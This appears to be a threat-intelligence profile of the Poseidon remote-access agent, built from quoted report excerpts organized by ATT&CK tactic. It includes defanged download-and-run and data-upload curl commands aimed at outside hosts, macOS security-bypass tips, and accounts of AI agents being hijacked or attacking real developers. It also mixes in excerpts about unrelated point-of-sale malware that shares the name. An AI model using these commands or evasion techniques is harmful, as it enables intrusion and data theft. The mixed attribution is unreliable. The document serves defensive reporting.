Poseidon
- Type
- RAT
- Capabilities
- Credential theftExfiltrationPost exploitationReconnaissance
- Delivery
- PhishingLure
- Platforms
- macOSLinux
Poseidon is a Go-based remote-access and post-exploitation agent for macOS and Linux associated with the open-source Mythic command-and-control framework. Although developed for offensive security operations, it is also deployed in malicious intrusions. It provides remote access to compromised systems and supports reconnaissance, sensitive-file discovery, and exfiltration, including searching for SSH keys and AWS credentials. Observed Linux builds use configurable HTTPS callbacks to communicate with operator-controlled infrastructure.
Poseidon has been delivered through malicious software packages and attacker-controlled tasks submitted to exposed agent-management interfaces. The CrateDepression typosquatting campaign targeted macOS Rust developers and delivered Poseidon to selected development environments. In October 2026, the activity cluster AIA0009 abused unsecured Cairn management panels to instruct agents to download and execute a Linux Poseidon implant. These compromises affected environments including legitimate red-team and capture-the-flag installations.
Poseidon has also been observed in operations associated with the North Korean threat actor UNC4899, also tracked as TraderTraitor, and the Pakistan-aligned espionage group Transparent Tribe, also known as APT36. Poseidon-derived Linux builds have additionally been recovered from exposed criminal tooling repositories, although their presence alone does not establish execution on victim systems. The Mythic agent is distinct from the unrelated macOS information stealer and point-of-sale malware that also use the Poseidon name.
Associated threat actors
6 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Mandiant has observed UNC4899 using Mythic Poseidon, a Golang agent targeting macOS and Linux, in previous attacks.
“The downloaded binary is an ELF executable, a Poseidon implant. It was in several cases run by the agent.”
Помимо Crimson RAT, в арсенал APT36 входят DeskRAT, AresRAT, AllaKore, GetaRAT и Poseidon.
The threat actor rebranded the new project ‘Poseidon’ and added a few new features such as looting VPN configurations.
We observed that Mythic Agents had been utilized by the APT-36 group in their operations. One such Agent is “Poseidon.”
this report explains the usage of Poseidon malware which targets government employees who use UNIX-based systems for their jobs ... The 2nd stage file is defined as a payload named Poseidon, written in Go programming language and included in the MythicAgents project on GitHub.
Techniques & procedures
53 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
3 techniques
Resource Development
On June 24, we observed a new campaign distributing a stealer targeting Mac users via malicious Google ads for the Arc browser.
TlsChannelFix JDBC provider; Apollo-derived and Poseidon-derived payloads
Ouverture d’une pull request malveillante (REPO_A) avec trois générations de payloads successifs (droppers, backdoors, persistance)
Initial Access
5 techniques
Initial Access
People who clicked on the ad were redirected to arc-download[.]com, a completely fake site offering Arc for Mac only.
L’agent a tenté de résoudre le challenge via une attaque supply chain ciblant par erreur des développeurs open-source réels
Phishing domain names squatted by the group are based on payment service authorities and India’s military and government personnel websites. Their contents are also the same as mimicked via tools such as httrack.
The current lure is themed as Ministry of Defence procurement of indigenous trawl assemblies for T-72 and T-90 main battle tanks ... a plausible-enough artifact for a defense-contracting inbox to open without hesitation.
...decoy PDF hosted on Google Drive...; users are redirected to these URLs through spear-phishing emails.
Execution
8 techniques
Execution
attackers need to take advantage of techniques more similar to those we see in Windows systems, such as Cron Jobs
The first ELF file detected in the attack campaign is the Python script file wrapped in ELF format... By extracting the compiled Python file (Kavach.pyc)... it becomes clear to understand the purpose of the 1st stage file.
The service consists of a malware panel with statistics and a builder with custom name, icon and AppleScript.
Now that persistence has been achieved, Loader will delete itself by running the following command: cmd.exe /c del <path_to_itself> >> NUL
The command that’s copied for macOS devices instructs the system to... curl -o /tmp/update hxxps[:]//applemacios[.]com/getrur/update ... chmod +x /tmp/update ... Run the downloaded file /tmp/update.
The script decodes the Base64 content into Python source code and then executes it using Python’s exec() function. This allows for running arbitrary Python code.
The script decodes this payload, and writes it to a file—named init.dll if on Windows or init otherwise—and then dynamically loads the library using ctypes.cdll.LoadLibrary , which causes the payload to run as a native binary.
A malicious one looks identical but includes instructions on how to override Gatekeeper, Apple’s tool for verifying trusted software.
Persistence
5 techniques
Persistence
attackers need to take advantage of techniques more similar to those we see in Windows systems, such as Cron Jobs
case 42 : //Execute persist_launch command to install launchd //persistence go persist_launchd.Run ( task )
Next, Loader will start a service named WinHost. This is done so that it remains running in memory even if the current user logs off.
On macOS, the operator can choose to persist by either or both of a LaunchAgent/Daemon and a LoginItem.
Upon execution, this file copies itself to either %SystemRoot%\system32\<filename>.exe or %UserProfile%\<filename>.exe and adds registry entry under HKLM (or HKCU)\Software\Microsoft\Windows\CurrentVersion\Run.
Privilege Escalation
6 techniques
Privilege Escalation
attackers need to take advantage of techniques more similar to those we see in Windows systems, such as Cron Jobs
An embedded PE is extracted through shellcode and execution continues with the embedded binary.
case 42 : //Execute persist_launch command to install launchd //persistence go persist_launchd.Run ( task )
Next, Loader will start a service named WinHost. This is done so that it remains running in memory even if the current user logs off.
On macOS, the operator can choose to persist by either or both of a LaunchAgent/Daemon and a LoginItem.
Upon execution, this file copies itself to either %SystemRoot%\system32\<filename>.exe or %UserProfile%\<filename>.exe and adds registry entry under HKLM (or HKCU)\Software\Microsoft\Windows\CurrentVersion\Run.
Stealth
6 techniques
Stealth
На практике для обхода XProtect хватает двух: шифрование строк (характерные user-agent, URL-паттерны) и пересборка из исходников с рефакторингом структуры бинаря
The downloaded DMG file resembles what one would expect when installing a new Mac application with the exception of the right-click to open trick to bypass security protections.
An embedded PE is extracted through shellcode and execution continues with the embedded binary.
To avoid leaving forensic evidence, the loader first deletes its file (__init__.py) after execution, leaving it running in memory only.
...equipped to carry out a series of dummy anti-debugging and anti-sandbox checks...
The loader decoded a Poseidon payload (compiled as a .dylib) and executed it using ctypes.cdll.LoadLibrary().
Defense Impairment
1 technique
Defense Impairment
Обход Gatekeeper (T1553.001, Defense Evasion)… Gatekeeper проверяет атрибут com.apple.quarantine у скачанных файлов и блокирует неподписанный или ненотаризованный код. А вот при доставке через curl, scp или rsync — не ставится, и Gatekeeper молчит.
Credential Access
11 techniques
Credential Access
Point-of-Sale (PoS) terminals have become an attractive target for hackers over the past year, reflected in the increasing number of RAM-scraping programs that steal payment card information from the memory of such systems.
There is a new malware family targeting PoS systems, infecting machines to scrape memory for credit card information and exfiltrate that data to servers.
The downloaded binary, FindStr, installs a keylogger and scans the memory of the PoS device for number sequences that could be credit card numbers.
case 17 : // Test credentials against remote hosts go sshauth.Run ( task )
Armed with the developer's AWS access key ID, secret key, and temporary session token, the threat actors then authenticated into Safe{Wallet}'s AWS environment.
Credentials, browser cookies, authentication tokens, and crypto wallets are all fair game.
The malicious code embedded into the packages comes with capabilities to siphon system information, access tokens, environment secrets, and API keys from developer environments... It also harvests API keys for nine large language models (LLM) providers.
The script copied and exfiltrated a number of items, among which were any SSH keys located on the victims’ device.
The stealer offers functionalities reminescent of Atomic Stealer including: file grabber, crypto wallet extractor, password manager (Bitwarden, KeePassXC) stealer, and browser data collector.
The stealer offers functionalities reminescent of Atomic Stealer including: file grabber, crypto wallet extractor, password manager (Bitwarden, KeePassXC) stealer, and browser data collector.
The threat actor rebranded the new project ‘Poseidon’ and added a few new features such as looting VPN configurations.
Discovery
6 techniques
Discovery
case 25 : // Retrieve information about the current user. go getuser.Run ( task )
case 18 : // Scan ports on remote hosts. go portscan.Run ( task )
The PE then cycles through all running processes on the PoS device to look for processes with a security token not associated with the “NT AUTHORITY” domain name.
The information collected by the CreateCheckinMessage function indicates that the malware intended to gather information before communicating with C2... Hostname IP Address PID OS Process Name
case 12 : //List directory contents go ls.Run ( task )
...equipped to carry out a series of dummy anti-debugging and anti-sandbox checks...
Collection
6 techniques
Collection
The stealer offers functionalities reminescent of Atomic Stealer including: file grabber, crypto wallet extractor, password manager (Bitwarden, KeePassXC) stealer, and browser data collector.
There is a new malware family targeting PoS systems, infecting machines to scrape memory for credit card information and exfiltrate that data to servers.
The downloaded binary, FindStr, installs a keylogger and scans the memory of the PoS device for number sequences that could be credit card numbers.
case 2 : go screencapture.Run ( task )
case 48 : go clipboard_monitor.Run ( task )
--data-binary @/tmp/out.zip http://79.137.192[.]4/p2p
Command and Control
5 techniques
Command and Control
Credit card numbers and keylogger data is sent to the exfiltration server after being XORed and base64 encoded.
The malware used in the campaign is trying to send data to the remote server with a POST request by establishing a TCP connection with the IP address 70.34.214[.]252.
an HTTPS beacon polling on TCP 8443
case 36 : go socks.Run ( task )
The server response includes a payload in Base64. The script decodes this payload, and writes it to a file ... and then dynamically loads the library.
Exfiltration
1 technique
Exfiltration
On macOS, threat actors will quietly exfiltrate session cookies, keychains, SSH keys and more as malicious processes from adware to spyware look to harvest data
Observables
178 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
52 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.